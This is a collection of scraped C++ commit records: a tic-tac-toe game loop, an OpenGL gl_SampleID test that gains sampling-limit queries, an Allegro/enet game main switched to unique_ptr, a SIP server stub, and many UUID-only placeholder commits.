move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player1.team, move);\n }\n if((winner = current_game.win()) != 0)\n break;\n if(player2.ishuman){\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 2: Select move#: \";\n cin >> move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player2.team, move);\n }\n }else{\n \/\/call ai move\n }\n }else{\n if(player2.ishuman){\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 2: Select move#: \";\n cin >> move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player2.team, move);\n }\n }else{\n \/\/call ai move\n }\n if((winner = current_game.win()) != 0)\n break;\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 1: Select move#: \";\n cin >> move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player1.team, move);\n }\n }\n }\n current_game.print();\n if(player1.team == winner){\n cout << endl << \"Player 1 won.\";\n }else{\n cout << endl << \"Player 2 won.\";\n }\n}\n\nstring oppositePiece(string piece){\n if(piece == \"X\"){\n return \"O\";\n }\n return \"X\";\n}\n\nint main(){\n int board_size = 3;\n int humans = 1;\n string player = \"X\";\n cout << \"Pick the size of the grid (default = 3): \";\n cin >> board_size;\n Board board(board_size); \/\/initialize a new board\n board.print();\n cout << endl << \"1 or 2 human players? \";\n cin >> humans;\n if(humans == 1){\n cout << endl << \"X or O (X moves first): \";\n cin >> player;\n player = toupper(player[0]);\n Player human(player); \/\/initializes human player to their piece\n cout << \"You are \" << human.convertToPiece();\n AI ai(oppositePiece(human.piece)); \/\/initializes ai player to opposite piece\n cout << endl << \"AI is \" << ai.piece; \n gameLoop(board, human, ai); \/\/game logic within the game is done here\n }else if(humans == 2){\n cout << endl << \"Player 1: X or O (X moves first): \";\n cin >> player;\n player = toupper(player[0]);\n Player human1(player); \/\/initializes human player to their piece\n Player human2(oppositePiece(human1.piece)); \/\/initializes player 2 to opposite piece\n cout << endl << \"Player 1 is: \" << human1.piece;\n cout << endl << \"Player 2 is: \" << human2.piece; \n gameLoop(board, human1, human2); \/\/game logic within the game is done here \n }\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>4ad9952e-2e3a-11e5-9cdd-c03896053bdd<commit_msg>4ae8b324-2e3a-11e5-9aee-c03896053bdd<commit_after>4ae8b324-2e3a-11e5-9aee-c03896053bdd<|endoftext|>"} {"text":"<commit_before>cf62c68a-327f-11e5-8965-9cf387a8033e<commit_msg>cf68e0c5-327f-11e5-8ec9-9cf387a8033e<commit_after>cf68e0c5-327f-11e5-8ec9-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>#include <iostream>\r\n#include <string>\r\n#include <map>\r\n#include <eXosip2\/eXosip.h>\r\nusing namespace std;\r\nint main(int argc, char const *argv[])\r\n{\r\n\tstruct eXosip_t *context_eXosip;\r\n\tcout<<\"Hello Stream Server\"<<endl;\r\n\tint ret = eXosip_init(context_eXosip);\r\n\tif(ret!=0)\r\n\t{\r\n\t\tcout<<\"inti eXosip error\"<<endl;\r\n\t}\r\n\treturn 0;\r\n}\r\n<commit_msg>test clock_gettime<commit_after>#include <iostream>\r\n#include <string>\r\n#include <map>\r\n#include <eXosip2\/eXosip.h>\r\n#include <time.h>\r\nusing namespace std;\r\nint main(int argc, char const *argv[])\r\n{\r\n\tstruct eXosip_t *context_eXosip;\r\n\tcout<<\"Hello Stream Server\"<<endl;\r\n\tint ret = eXosip_init(context_eXosip);\r\n\tif(ret!=0)\r\n\t{\r\n\t\tcout<<\"inti eXosip error\"<<endl;\r\n\t}\r\n\ttimespec time1;\r\n\tclock_gettime(CLOCK_PROCESS_CPUTIME_ID,&time1);\r\n\t\r\n\treturn 0;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>758b40d4-2d53-11e5-baeb-247703a38240<commit_msg>758bc3e2-2d53-11e5-baeb-247703a38240<commit_after>758bc3e2-2d53-11e5-baeb-247703a38240<|endoftext|>"} {"text":"<commit_before>83000e37-2d15-11e5-af21-0401358ea401<commit_msg>83000e38-2d15-11e5-af21-0401358ea401<commit_after>83000e38-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>097256d8-2f67-11e5-ab2e-6c40088e03e4<commit_msg>0978f2fe-2f67-11e5-8e3c-6c40088e03e4<commit_after>0978f2fe-2f67-11e5-8e3c-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>d4027086-35ca-11e5-a563-6c40088e03e4<commit_msg>d4094c8a-35ca-11e5-9fc8-6c40088e03e4<commit_after>d4094c8a-35ca-11e5-9fc8-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>94cda1e1-327f-11e5-8087-9cf387a8033e<commit_msg>94d3cfde-327f-11e5-8f4c-9cf387a8033e<commit_after>94d3cfde-327f-11e5-8f4c-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>41e461a6-2e3a-11e5-a69d-c03896053bdd<commit_msg>41f26df8-2e3a-11e5-beef-c03896053bdd<commit_after>41f26df8-2e3a-11e5-beef-c03896053bdd<|endoftext|>"} {"text":"<commit_before>b3ae9921-327f-11e5-b7ec-9cf387a8033e<commit_msg>b3b4be40-327f-11e5-b7cf-9cf387a8033e<commit_after>b3b4be40-327f-11e5-b7cf-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>bcb095c0-2e4f-11e5-9974-28cfe91dbc4b<commit_msg>bcb74ba3-2e4f-11e5-bb92-28cfe91dbc4b<commit_after>bcb74ba3-2e4f-11e5-bb92-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>9198a82e-4b02-11e5-b230-28cfe9171a43<commit_msg>fix for the previous fix<commit_after>91a8d6a6-4b02-11e5-ac80-28cfe9171a43<|endoftext|>"} {"text":"<commit_before>133c9697-ad5b-11e7-babe-ac87a332f658<commit_msg>Test..<commit_after>13d9774a-ad5b-11e7-8549-ac87a332f658<|endoftext|>"} {"text":"<commit_before>3341f642-2e4f-11e5-9a97-28cfe91dbc4b<commit_msg>33480805-2e4f-11e5-9668-28cfe91dbc4b<commit_after>33480805-2e4f-11e5-9668-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>6540c0c2-2fa5-11e5-8d7d-00012e3d3f12<commit_msg>65429586-2fa5-11e5-8d7d-00012e3d3f12<commit_after>65429586-2fa5-11e5-8d7d-00012e3d3f12<|endoftext|>"} {"text":"<commit_before>8d6dfcd3-2d14-11e5-af21-0401358ea401<commit_msg>8d6dfcd4-2d14-11e5-af21-0401358ea401<commit_after>8d6dfcd4-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>83000e41-2d15-11e5-af21-0401358ea401<commit_msg>83000e42-2d15-11e5-af21-0401358ea401<commit_after>83000e42-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>f43877e8-327f-11e5-9c38-9cf387a8033e<commit_msg>f43e4bab-327f-11e5-acf3-9cf387a8033e<commit_after>f43e4bab-327f-11e5-acf3-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>f2ea43d8-585a-11e5-b723-6c40088e03e4<commit_msg>f2f0d728-585a-11e5-b857-6c40088e03e4<commit_after>f2f0d728-585a-11e5-b857-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>a0314c45-2e4f-11e5-95fd-28cfe91dbc4b<commit_msg>a0381c61-2e4f-11e5-a5f8-28cfe91dbc4b<commit_after>a0381c61-2e4f-11e5-a5f8-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>\/\/ gl-stuff\n#include <GL\/glew.h>\n#include <GLFW\/glfw3.h> \/\/ GLFW helper library\n#include <GL\/glu.h>\n\n\/\/ std stuff\n#include <stdio.h>\n#include <iostream>\n#include <vector>\n#include <array>\n\n#define printOpenGLError() printOglError(__FILE__, __LINE__)\n\nint printOglError(const char* file, int line) {\n GLenum glErr;\n int retCode = 0;\n\n glErr = glGetError();\n if (glErr != GL_NO_ERROR) {\n printf(\"glError in file %s @ line %d: %s\\n\", file, line,\n gluErrorString(glErr));\n retCode = 1;\n }\n return retCode;\n}\n\nvoid GLAPIENTRY DebugCallback(GLenum source, GLenum type, GLuint id,\n GLenum severity, GLsizei length,\n const GLchar* message, const void* userParam) {\n printf(\"0x%X: %s\\n\", id, message);\n}\n\nGLFWwindow* setupOpenGLContextWindow(unsigned int numSamples, bool useGLDebugOutput) {\n \/\/ start GL context and O\/S window using the GLFW helper library\n if (!glfwInit()) {\n throw std::runtime_error(\"ERROR: could not start GLFW3\\n\");\n }\n\n glfwWindowHint(GLFW_OPENGL_DEBUG_CONTEXT, GL_TRUE);\n glfwWindowHint(GLFW_SAMPLES, numSamples);\n GLFWwindow* window = glfwCreateWindow(1, 1, \"glSampleIDCheck\", NULL, NULL);\n if (!window) {\n glfwTerminate();\n throw std::runtime_error(\"ERROR: could not open window with GLFW3\\n\");\n }\n glfwMakeContextCurrent(window);\n\n \/\/ start GLEW extension handler\n glewExperimental = GL_TRUE;\n glewInit();\n\n if (useGLDebugOutput) {\n glEnable(GL_DEBUG_OUTPUT);\n glDebugMessageCallback(DebugCallback, nullptr);\n glDebugMessageControl(GL_DONT_CARE, GL_DONT_CARE, GL_DONT_CARE, 0, 0,\n GL_TRUE);\n glEnable(GL_DEBUG_OUTPUT_SYNCHRONOUS);\n }\n\n if (useGLDebugOutput) {\n \/\/ get version info\n const GLubyte* renderer = glGetString(GL_RENDERER); \/\/ get renderer string\n const GLubyte* version = glGetString(GL_VERSION); \/\/ version as a string\n printf(\"Renderer: %s\\n\", renderer);\n printf(\"OpenGL version supported %s\\n\", version);\n }\n\n return window;\n}\n\nvoid checkShaderCompilation(GLuint shader) {\n GLint success = GL_TRUE;\n glGetShaderiv(shader, GL_COMPILE_STATUS, &success);\n if (!success) {\n GLint maxLength = 0;\n glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &maxLength);\n std::vector<GLchar> errorLog(maxLength);\n glGetShaderInfoLog(shader, maxLength, &maxLength, &errorLog[0]);\n for (auto const& character : errorLog) {\n std::cout << character;\n }\n std::cout << std::endl;\n }\n}\n\nGLuint setupShaderProgram() {\n const char* vertex_shader =\n \"#version 400\\n\"\n \"in vec3 vp;\"\n \"void main () {\"\n \" vec2 texcoord = vec2( (gl_VertexID << 1) & 2, gl_VertexID & 2 );\"\n \" gl_Position = vec4( texcoord * vec2( 2.0f, -2.0f ) + vec2( -1.0f, \"\n \"1.0f), 0.0f, 1.0f );\"\n \"}\";\n\n const char* fragment_shader =\n \"#version 440\\n\"\n \"layout(binding = 0) uniform atomic_uint atomic_counter;\"\n \"void main () {\"\n \/\/ensure that only one fragment counts, should be redundant due to 1px size of the window\n \" if( ivec2( gl_FragCoord.xy ) == ivec2( 0, 0 ) ){\"\n \" for(uint i = 0; i<gl_SampleID; ++i){\"\n \" atomicCounterIncrement(atomic_counter);\"\n \" }\"\n \" }\"\n \"}\";\n\n GLuint vs = glCreateShader(GL_VERTEX_SHADER);\n glShaderSource(vs, 1, &vertex_shader, NULL);\n glCompileShader(vs);\n checkShaderCompilation(vs);\n\n GLuint fs = glCreateShader(GL_FRAGMENT_SHADER);\n glShaderSource(fs, 1, &fragment_shader, NULL);\n glCompileShader(fs);\n checkShaderCompilation(fs);\n\n GLuint shader_programm = glCreateProgram();\n glAttachShader(shader_programm, fs);\n glAttachShader(shader_programm, vs);\n glLinkProgram(shader_programm);\n\n return shader_programm;\n}\n\nGLuint* setupBuffers(GLuint& vao, GLuint& atomicBuffer) {\n glGenVertexArrays(1, &vao);\n glBindVertexArray(vao);\n\n glCreateBuffers(1, &atomicBuffer);\n printOpenGLError();\n\n GLuint const data = 0;\n GLbitfield usageFlags = GL_MAP_READ_BIT | GL_MAP_WRITE_BIT |\n GL_MAP_PERSISTENT_BIT | GL_MAP_COHERENT_BIT;\n glNamedBufferStorage(atomicBuffer, sizeof(data), &data, usageFlags);\n printOpenGLError();\n\n auto mappedBuffer = static_cast<GLuint*>(\n glMapNamedBufferRange(atomicBuffer, 0, sizeof(data), usageFlags));\n printOpenGLError();\n\n return mappedBuffer;\n}\n\nvoid testSumOfGLSLSampleIDs(unsigned int numSamples, bool useGLDebugOutput) {\n GLFWwindow* window = setupOpenGLContextWindow(numSamples, useGLDebugOutput);\n printOpenGLError();\n\n GLuint vaoID, atomicCounterID;\n auto atomicCounter = setupBuffers(vaoID, atomicCounterID);\n printOpenGLError();\n\n GLuint shader_programm = setupShaderProgram();\n printOpenGLError();\n\n std::cout << \"atomic Counter initial value: \" << atomicCounter[0]\n << \" | 0 is correct\" << std::endl;\n\n \/\/ wipe the drawing surface clear\n glUseProgram(shader_programm);\n\n glBindBufferRange(GL_ATOMIC_COUNTER_BUFFER, 0, atomicCounterID, 0,\n sizeof(GLuint));\n\n glBindVertexArray(vaoID);\n \/\/ draw fullscreen triangle created in vertex shader based on the VertexID\n glDrawArrays(GL_TRIANGLES, 0, 3);\n \/\/ update other events like input handling\n glfwPollEvents();\n \/\/ put the stuff we've been drawing onto the display\n glfwSwapBuffers(window);\n\n glFinish();\n unsigned int correctSumOfSampleIDs = 0;\n for (unsigned int i = 0; i < numSamples; ++i) {\n correctSumOfSampleIDs += i;\n }\n std::cout << \"sum of gl_SampleIDs: \" << atomicCounter[0] << \" | \"\n << correctSumOfSampleIDs << \" is correct\" << std::endl;\n\n \/\/ close GL context and any other GLFW resources\n glfwTerminate();\n}\n\nint main(int argc, char* argv[]) {\n std::array<unsigned int, 5> listOfSamples{2, 4, 8, 16, 32};\n for (auto const& numSamples : listOfSamples) {\n std::cout << \"numSamples: \" << numSamples << std::endl;\n testSumOfGLSLSampleIDs(numSamples, false);\n std::cout << std::endl;\n }\n\n return 0;\n}\n<commit_msg>Querying sampling limits<commit_after>\/\/ gl-stuff\n#include <GL\/glew.h>\n#include <GLFW\/glfw3.h> \/\/ GLFW helper library\n#include <GL\/glu.h>\n\n\/\/ std stuff\n#include <stdio.h>\n#include <iostream>\n#include <vector>\n#include <array>\n\n#define printOpenGLError() printOglError(__FILE__, __LINE__)\n\nint printOglError(const char* file, int line) {\n GLenum glErr;\n int retCode = 0;\n\n glErr = glGetError();\n if (glErr != GL_NO_ERROR) {\n printf(\"glError in file %s @ line %d: %s\\n\", file, line,\n gluErrorString(glErr));\n retCode = 1;\n }\n return retCode;\n}\n\nvoid GLAPIENTRY DebugCallback(GLenum source, GLenum type, GLuint id,\n GLenum severity, GLsizei length,\n const GLchar* message, const void* userParam) {\n printf(\"0x%X: %s\\n\", id, message);\n}\n\nGLFWwindow* setupOpenGLContextWindow(unsigned int numSamples, bool useGLDebugOutput) {\n \/\/ start GL context and O\/S window using the GLFW helper library\n if (!glfwInit()) {\n throw std::runtime_error(\"ERROR: could not start GLFW3\\n\");\n }\n\n glfwWindowHint(GLFW_OPENGL_DEBUG_CONTEXT, GL_TRUE);\n glfwWindowHint(GLFW_SAMPLES, numSamples);\n GLFWwindow* window = glfwCreateWindow(1, 1, \"glSampleIDCheck\", NULL, NULL);\n if (!window) {\n glfwTerminate();\n throw std::runtime_error(\"ERROR: could not open window with GLFW3\\n\");\n }\n glfwMakeContextCurrent(window);\n\n \/\/ start GLEW extension handler\n glewExperimental = GL_TRUE;\n glewInit();\n\n if (useGLDebugOutput) {\n glEnable(GL_DEBUG_OUTPUT);\n glDebugMessageCallback(DebugCallback, nullptr);\n glDebugMessageControl(GL_DONT_CARE, GL_DONT_CARE, GL_DONT_CARE, 0, 0,\n GL_TRUE);\n glEnable(GL_DEBUG_OUTPUT_SYNCHRONOUS);\n }\n\n if (useGLDebugOutput) {\n \/\/ get version info\n const GLubyte* renderer = glGetString(GL_RENDERER); \/\/ get renderer string\n const GLubyte* version = glGetString(GL_VERSION); \/\/ version as a string\n printf(\"Renderer: %s\\n\", renderer);\n printf(\"OpenGL version supported %s\\n\", version);\n }\n\n return window;\n}\n\nvoid checkShaderCompilation(GLuint shader) {\n GLint success = GL_TRUE;\n glGetShaderiv(shader, GL_COMPILE_STATUS, &success);\n if (!success) {\n GLint maxLength = 0;\n glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &maxLength);\n std::vector<GLchar> errorLog(maxLength);\n glGetShaderInfoLog(shader, maxLength, &maxLength, &errorLog[0]);\n for (auto const& character : errorLog) {\n std::cout << character;\n }\n std::cout << std::endl;\n }\n}\n\nGLuint setupShaderProgram() {\n const char* vertex_shader =\n \"#version 400\\n\"\n \"in vec3 vp;\"\n \"void main () {\"\n \" vec2 texcoord = vec2( (gl_VertexID << 1) & 2, gl_VertexID & 2 );\"\n \" gl_Position = vec4( texcoord * vec2( 2.0f, -2.0f ) + vec2( -1.0f, \"\n \"1.0f), 0.0f, 1.0f );\"\n \"}\";\n\n const char* fragment_shader =\n \"#version 440\\n\"\n \"layout(binding = 0) uniform atomic_uint atomic_counter;\"\n \"void main () {\"\n \/\/ensure that only one fragment counts, should be redundant due to 1px size of the window\n \" if( ivec2( gl_FragCoord.xy ) == ivec2( 0, 0 ) ){\"\n \" for(uint i = 0; i<gl_SampleID; ++i){\"\n \" atomicCounterIncrement(atomic_counter);\"\n \" }\"\n \" }\"\n \"}\";\n\n GLuint vs = glCreateShader(GL_VERTEX_SHADER);\n glShaderSource(vs, 1, &vertex_shader, NULL);\n glCompileShader(vs);\n checkShaderCompilation(vs);\n\n GLuint fs = glCreateShader(GL_FRAGMENT_SHADER);\n glShaderSource(fs, 1, &fragment_shader, NULL);\n glCompileShader(fs);\n checkShaderCompilation(fs);\n\n GLuint shader_programm = glCreateProgram();\n glAttachShader(shader_programm, fs);\n glAttachShader(shader_programm, vs);\n glLinkProgram(shader_programm);\n\n return shader_programm;\n}\n\nGLuint* setupBuffers(GLuint& vao, GLuint& atomicBuffer) {\n glGenVertexArrays(1, &vao);\n glBindVertexArray(vao);\n\n glCreateBuffers(1, &atomicBuffer);\n printOpenGLError();\n\n GLuint const data = 0;\n GLbitfield usageFlags = GL_MAP_READ_BIT | GL_MAP_WRITE_BIT |\n GL_MAP_PERSISTENT_BIT | GL_MAP_COHERENT_BIT;\n glNamedBufferStorage(atomicBuffer, sizeof(data), &data, usageFlags);\n printOpenGLError();\n\n auto mappedBuffer = static_cast<GLuint*>(\n glMapNamedBufferRange(atomicBuffer, 0, sizeof(data), usageFlags));\n printOpenGLError();\n\n return mappedBuffer;\n}\n\nGLint get(GLenum name) {\n GLint value = -1;\n glGetIntegerv(name, &value);\n return value;\n}\n\nvoid testSumOfGLSLSampleIDs(unsigned int numSamples, bool useGLDebugOutput) {\n GLFWwindow* window = setupOpenGLContextWindow(numSamples, useGLDebugOutput);\n printOpenGLError();\n\n#define GLGET(NAME) std::cout << #NAME \": \" << get(NAME) << \"\\n\"\n\n GLGET(GL_MAX_COLOR_TEXTURE_SAMPLES);\n GLGET(GL_MAX_DEPTH_TEXTURE_SAMPLES);\n GLGET(GL_MAX_FRAMEBUFFER_SAMPLES);\n\n GLuint vaoID, atomicCounterID;\n auto atomicCounter = setupBuffers(vaoID, atomicCounterID);\n printOpenGLError();\n\n GLuint shader_programm = setupShaderProgram();\n printOpenGLError();\n\n std::cout << \"atomic Counter initial value: \" << atomicCounter[0]\n << \" | 0 is correct\" << std::endl;\n\n \/\/ wipe the drawing surface clear\n glUseProgram(shader_programm);\n\n glBindBufferRange(GL_ATOMIC_COUNTER_BUFFER, 0, atomicCounterID, 0,\n sizeof(GLuint));\n\n glBindVertexArray(vaoID);\n \/\/ draw fullscreen triangle created in vertex shader based on the VertexID\n glDrawArrays(GL_TRIANGLES, 0, 3);\n \/\/ update other events like input handling\n glfwPollEvents();\n \/\/ put the stuff we've been drawing onto the display\n glfwSwapBuffers(window);\n\n glFinish();\n unsigned int correctSumOfSampleIDs = 0;\n for (unsigned int i = 0; i < numSamples; ++i) {\n correctSumOfSampleIDs += i;\n }\n std::cout << \"sum of gl_SampleIDs: \" << atomicCounter[0] << \" | \"\n << correctSumOfSampleIDs << \" is correct\" << std::endl;\n\n \/\/ close GL context and any other GLFW resources\n glfwTerminate();\n}\n\nint main(int argc, char* argv[]) {\n std::array<unsigned int, 5> listOfSamples{2, 4, 8, 16, 32};\n for (auto const& numSamples : listOfSamples) {\n std::cout << \"numSamples: \" << numSamples << std::endl;\n testSumOfGLSLSampleIDs(numSamples, false);\n std::cout << std::endl;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cstdio>\n#include <string>\n#include <allegro5\/allegro.h>\n#include <allegro5\/allegro_image.h>\n#include <allegro5\/allegro_primitives.h>\n#include <enet\/enet.h>\n\n#include \"inputcatcher.h\"\n#include \"engine.h\"\n#include \"renderer.h\"\n#include \"datastructures.h\"\n#include \"global_constants.h\"\n#include \"mainmenu.h\"\n\nlong int getmillisec();\n\nint main(int argc, char **argv)\n{\n \/\/ Initialize Allegro\n if (!al_init())\n {\n fprintf(stderr, \"Fatal Error: Allegro initialization failed!\\n\");\n return -1;\n }\n\n \/\/ Initialize the Allegro Image addon, used to load sprites and maps\n if (!al_init_image_addon())\n {\n fprintf(stderr, \"Fatal Error: Allegro Image Addon initialization failed!\\n\");\n return -1;\n }\n\n \/\/ Initialize primitives for drawing\n if (!al_init_primitives_addon())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize primitives module!\");\n throw -1;\n }\n\n \/\/ Initialize keyboard modules\n if (!al_install_keyboard())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize keyboard module!\");\n throw -1;\n }\n\n \/\/ Initialize mouse\n if (!al_install_mouse())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize mouse module!\");\n throw -1;\n }\n\n \/\/ Initialize networking system\n if (enet_initialize())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize enet!\");\n throw -1;\n }\n\n \/\/ Create a display\n ALLEGRO_DISPLAY *display;\n al_set_new_display_option(ALLEGRO_VSYNC, 2, ALLEGRO_REQUIRE);\n al_set_new_display_flags(ALLEGRO_OPENGL);\n display = al_create_display(WINDOW_WIDTH, WINDOW_HEIGHT);\n if(!display)\n {\n \/\/ FIXME: Make the error argument mean anything?\n fprintf(stderr, \"Fatal Error: Could not create display\\n\");\n throw -1;\n }\n\n \/\/load font\n \/\/gg2 font as placeholder for now i guess\n al_init_font_addon();\n al_init_ttf_addon();\n ALLEGRO_FONT *font = al_load_font(\"gg2bold.ttf\", 12, ALLEGRO_TTF_MONOCHROME);\n if (!font)\n {\n fprintf(stderr, \"Could not load 'gg2bold.ttf'.\\n\");\n throw -1;\n }\n\n\/\/ MainMenu *mainmenu = new MainMenu(display);\n bool isserver;\n if (argc >= 2)\n {\n \/\/ If there are any arguments\n isserver = false;\n }\n else\n {\n isserver = true;\n }\n double lasttimeupdated = al_get_time();\n\/\/ bool run = true;\n\/\/ while (run)\n\/\/ {\n\/\/ if (al_get_time() - lasttimeupdated >= MENU_TIMESTEP)\n\/\/ {\n\/\/ run = mainmenu->run(display, &gametype);\n\/\/ lasttimeupdated = al_get_time();\n\/\/ }\n\/\/ }\n\/\/ delete mainmenu;\n\n InputCatcher *inputcatcher;\n Engine *engine;\n Renderer *renderer;\n Gamestate *renderingstate;\n try\n {\n \/\/ Initialize everything\n \/\/ The various allegro initializations can throw errors\n engine = new Engine(isserver);\n renderer = new Renderer(font);\n inputcatcher = new InputCatcher(display);\n renderingstate = new Gamestate(engine);\n }\n catch (int e)\n {\n if (e == -1)\n {\n fprintf(stderr, \"\\nAllegro initialization failed.\");\n }\n else\n {\n fprintf(stderr, \"\\nUNKNOWN ERROR HAPPENED\");\n }\n return -1;\n }\n engine->loadmap(\"conflict\");\n EntityPtr myself = engine->newplayer();\n \/\/ FIXME: Hack to make sure the oldstate is properly initialized\n engine->update(0);\n\n lasttimeupdated = al_get_time();\n while (true)\n {\n try\n {\n while (al_get_time() - lasttimeupdated >= ENGINE_TIMESTEP)\n {\n inputcatcher->run(myself, engine, renderer);\n engine->update(ENGINE_TIMESTEP);\n\n lasttimeupdated += ENGINE_TIMESTEP;\n }\n renderingstate->interpolate(engine->oldstate.get(), engine->currentstate.get(), (al_get_time()-lasttimeupdated)\/ENGINE_TIMESTEP);\n renderer->render(display, renderingstate, myself);\n }\n catch (int e)\n {\n if (e != 0)\n {\n fprintf(stderr, \"\\nError during regular loop.\");\n fprintf(stderr, \"\\nExiting..\");\n }\n al_destroy_display(display);\n return 0;\n }\n }\n al_destroy_display(display);\n enet_deinitialize();\n return 0;\n}\n<commit_msg>Replaced some not-freed pointers with unique_ptrs.<commit_after>#include <cstdio>\n#include <string>\n#include <memory>\n#include <allegro5\/allegro.h>\n#include <allegro5\/allegro_image.h>\n#include <allegro5\/allegro_primitives.h>\n#include <enet\/enet.h>\n\n#include \"inputcatcher.h\"\n#include \"engine.h\"\n#include \"renderer.h\"\n#include \"datastructures.h\"\n#include \"global_constants.h\"\n#include \"mainmenu.h\"\n\nlong int getmillisec();\n\nint main(int argc, char **argv)\n{\n \/\/ Initialize Allegro\n if (!al_init())\n {\n fprintf(stderr, \"Fatal Error: Allegro initialization failed!\\n\");\n return -1;\n }\n\n \/\/ Initialize the Allegro Image addon, used to load sprites and maps\n if (!al_init_image_addon())\n {\n fprintf(stderr, \"Fatal Error: Allegro Image Addon initialization failed!\\n\");\n return -1;\n }\n\n \/\/ Initialize primitives for drawing\n if (!al_init_primitives_addon())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize primitives module!\");\n throw -1;\n }\n\n \/\/ Initialize keyboard modules\n if (!al_install_keyboard())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize keyboard module!\");\n throw -1;\n }\n\n \/\/ Initialize mouse\n if (!al_install_mouse())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize mouse module!\");\n throw -1;\n }\n\n \/\/ Initialize networking system\n if (enet_initialize())\n {\n fprintf(stderr, \"Fatal Error: Could not initialize enet!\");\n throw -1;\n }\n\n \/\/ Create a display\n ALLEGRO_DISPLAY *display;\n al_set_new_display_option(ALLEGRO_VSYNC, 2, ALLEGRO_REQUIRE);\n al_set_new_display_flags(ALLEGRO_OPENGL);\n display = al_create_display(WINDOW_WIDTH, WINDOW_HEIGHT);\n if(!display)\n {\n \/\/ FIXME: Make the error argument mean anything?\n fprintf(stderr, \"Fatal Error: Could not create display\\n\");\n throw -1;\n }\n\n \/\/load font\n \/\/gg2 font as placeholder for now i guess\n al_init_font_addon();\n al_init_ttf_addon();\n ALLEGRO_FONT *font = al_load_font(\"gg2bold.ttf\", 12, ALLEGRO_TTF_MONOCHROME);\n if (!font)\n {\n fprintf(stderr, \"Could not load 'gg2bold.ttf'.\\n\");\n throw -1;\n }\n\n\/\/ MainMenu *mainmenu = new MainMenu(display);\n bool isserver;\n if (argc >= 2)\n {\n \/\/ If there are any arguments\n isserver = false;\n }\n else\n {\n isserver = true;\n }\n double lasttimeupdated = al_get_time();\n\/\/ bool run = true;\n\/\/ while (run)\n\/\/ {\n\/\/ if (al_get_time() - lasttimeupdated >= MENU_TIMESTEP)\n\/\/ {\n\/\/ run = mainmenu->run(display, &gametype);\n\/\/ lasttimeupdated = al_get_time();\n\/\/ }\n\/\/ }\n\/\/ delete mainmenu;\n\n std::unique_ptr<Engine> engine;\n std::unique_ptr<Renderer> renderer;\n std::unique_ptr<InputCatcher> inputcatcher;\n std::unique_ptr<Gamestate> renderingstate;\n\n try\n {\n \/\/ Initialize everything\n \/\/ The various allegro initializations can throw errors\n engine = std::unique_ptr<Engine>(new Engine(isserver));\n renderer = std::unique_ptr<Renderer>(new Renderer(font));\n inputcatcher = std::unique_ptr<InputCatcher>(new InputCatcher(display));\n renderingstate = std::unique_ptr<Gamestate>(new Gamestate(engine.get()));\n }\n catch (int e)\n {\n if (e == -1)\n {\n fprintf(stderr, \"\\nAllegro initialization failed.\");\n }\n else\n {\n fprintf(stderr, \"\\nUNKNOWN ERROR HAPPENED\");\n }\n return -1;\n }\n engine->loadmap(\"conflict\");\n EntityPtr myself = engine->newplayer();\n \/\/ FIXME: Hack to make sure the oldstate is properly initialized\n engine->update(0);\n\n lasttimeupdated = al_get_time();\n while (true)\n {\n try\n {\n while (al_get_time() - lasttimeupdated >= ENGINE_TIMESTEP)\n {\n inputcatcher->run(myself, engine.get(), renderer.get());\n engine->update(ENGINE_TIMESTEP);\n\n lasttimeupdated += ENGINE_TIMESTEP;\n }\n renderingstate->interpolate(engine->oldstate.get(), engine->currentstate.get(), (al_get_time()-lasttimeupdated)\/ENGINE_TIMESTEP);\n renderer->render(display, renderingstate.get(), myself);\n }\n catch (int e)\n {\n if (e != 0)\n {\n fprintf(stderr, \"\\nError during regular loop.\");\n fprintf(stderr, \"\\nExiting..\");\n }\n al_destroy_display(display);\n return 0;\n }\n }\n al_destroy_display(display);\n enet_deinitialize();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>dd24381c-2e4e-11e5-b700-28cfe91dbc4b<commit_msg>dd2cad9c-2e4e-11e5-885b-28cfe91dbc4b<commit_after>dd2cad9c-2e4e-11e5-885b-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>7e791955-2d15-11e5-af21-0401358ea401<commit_msg>7e791956-2d15-11e5-af21-0401358ea401<commit_after>7e791956-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>a30ac187-2e4f-11e5-a7bb-28cfe91dbc4b<commit_msg>a3107dc5-2e4f-11e5-9a10-28cfe91dbc4b<commit_after>a3107dc5-2e4f-11e5-9a10-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>767fe562-2d53-11e5-baeb-247703a38240<commit_msg>76806352-2d53-11e5-baeb-247703a38240<commit_after>76806352-2d53-11e5-baeb-247703a38240<|endoftext|>"} {"text":"<commit_before>0f9c26c2-2748-11e6-bc23-e0f84713e7b8<commit_msg>Tuesday, turns out it was tuesday<commit_after>0faf4568-2748-11e6-8ecc-e0f84713e7b8<|endoftext|>"} 